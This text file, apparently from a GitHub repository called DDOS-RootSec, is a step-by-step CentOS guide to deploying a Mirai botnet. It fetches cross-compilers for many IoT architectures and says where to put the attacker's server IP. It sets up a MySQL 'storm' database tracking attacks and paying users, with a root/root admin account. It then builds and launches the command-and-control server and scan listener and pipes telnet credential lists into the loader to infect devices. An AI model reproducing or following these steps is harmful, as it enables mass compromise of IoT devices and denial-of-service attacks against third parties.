Path: blob/master/HOW TO USE/MIRAI-CENTOS-SETUP.txt
5037 views
//STEP 11yum update -y2yum install epel-release -y3yum groupinstall "Development Tools" -y4yum install gmp-devel -y5ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.106yum install screen wget bzip2 gcc nano gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server gcc glibc-static go -y78//STEP 2 MYSQL INSTALL9wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm10sudo rpm -ivh mysql-community-release-el7-5.noarch.rpm11yum update -y12yum install mysql-server13systemctl start mysqld14systemctl enable mysqld1516//STEP 317mkdir /etc/xcompile18cd /etc/xcompile19wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i586.tar.bz220wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i686.tar.bz221wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-m68k.tar.bz222wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-mips.tar.bz223wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-mipsel.tar.bz224wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-powerpc.tar.bz225wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-sh4.tar.bz226wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-sparc.tar.bz227wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv4l.tar.bz228wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv5l.tar.bz229wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv6l.tar.bz230wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-armv7l.tar.bz231wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz32wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-powerpc-440fp.tar.bz233wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-x86_64.tar.bz234wget https://github.com/R00tS3c/DDOS-RootSec/raw/master/uclib-cross-compilers/cross-compiler-i486.tar.gz353637tar -jxf cross-compiler-i586.tar.bz238tar -jxf cross-compiler-m68k.tar.bz239tar -jxf cross-compiler-mips.tar.bz240tar -jxf cross-compiler-mipsel.tar.bz241tar -jxf cross-compiler-powerpc.tar.bz242tar -jxf cross-compiler-sh4.tar.bz243tar -jxf cross-compiler-i586.tar.bz244tar -jxf cross-compiler-i686.tar.bz245tar -jxf cross-compiler-sparc.tar.bz246tar -jxf cross-compiler-armv4l.tar.bz247tar -jxf cross-compiler-armv5l.tar.bz248tar -jxf cross-compiler-armv6l.tar.bz249tar -jxf cross-compiler-armv7l.tar.bz250tar -vxf arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz51tar -jxf cross-compiler-powerpc-440fp.tar.bz252tar -jxf cross-compiler-x86_64.tar.bz253tar -xvf cross-compiler-i486.tar.gz5455rm -rf *.tar.bz256mv cross-compiler-i486 i48657mv cross-compiler-i586 i58658mv cross-compiler-i686 i68659mv cross-compiler-m68k m68k60mv cross-compiler-mips mips61mv cross-compiler-mipsel mipsel62mv cross-compiler-powerpc powerpc63mv cross-compiler-sh4 sh464mv cross-compiler-sparc sparc65mv cross-compiler-armv4l armv4l66mv cross-compiler-armv5l armv5l67mv cross-compiler-armv6l armv6l68mv cross-compiler-armv7l armv7l69mv arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install arc70mv cross-compiler-powerpc-440fp powerpc-440fp71mv cross-compiler-x86_64 x86_6472cd ~/737475//STEP 4 - SETTING UP SERVER IP76CHANGE bot/includes.h77CHANGE cnc/main.go78CHANGE dlr/main.c79CHANGE loader/src/main.c80CHANGE scanListen818283//STEP 5 - DATABASE SETUP84service mysqld start85mysql_secure_installation86//SETUP A MYSQL PASS HERE AND REMEMBER IT87//NOW LOGIN TO MYSQL88mysql -p<PASS>89//COPY AND PASTE ALL THIS IN THE MYSQL TERMINAL90CREATE DATABASE storm;91use storm;92CREATE TABLE history (93id int(10) unsigned NOT NULL AUTO_INCREMENT,94user_id int(10) unsigned NOT NULL,95time_sent int(10) unsigned NOT NULL,96duration int(10) unsigned NOT NULL,97command text NOT NULL,98max_bots int(11) DEFAULT '-1',99PRIMARY KEY (id),100KEY user_id (user_id)101);102103CREATE TABLE users (104id int(10) unsigned NOT NULL AUTO_INCREMENT,105username varchar(32) NOT NULL,106password varchar(32) NOT NULL,107duration_limit int(10) unsigned DEFAULT NULL,108cooldown int(10) unsigned NOT NULL,109wrc int(10) unsigned DEFAULT NULL,110last_paid int(10) unsigned NOT NULL,111max_bots int(11) DEFAULT '-1',112admin int(10) unsigned DEFAULT '0',113intvl int(10) unsigned DEFAULT '30',114api_key text,115PRIMARY KEY (id),116KEY username (username)117);118119CREATE TABLE whitelist (120id int(10) unsigned NOT NULL AUTO_INCREMENT,121prefix varchar(16) DEFAULT NULL,122netmask tinyint(3) unsigned DEFAULT NULL,123PRIMARY KEY (id),124KEY prefix (prefix)125);126INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');127exit;128129//STEP 5 - COMPILE130131NOW PUT THE MYSQL PASSWORD IN THE main.go OF THE CNC.132133cd ~/134chmod 0777 * -R135sh build.sh YOUR IP136python payload.py //if your mirai variant has it, if doesnt find in some archive what has and edit to your bins137138Now your mirai is setup you just need to start the cnc and the scanListen139140screen ./cnc141screen ./scanListen142143To load your telnet lists use command144cat list.txt | ./loader145146RootSec147https://github.com/R00tS3c/DDOS-RootSec/148149150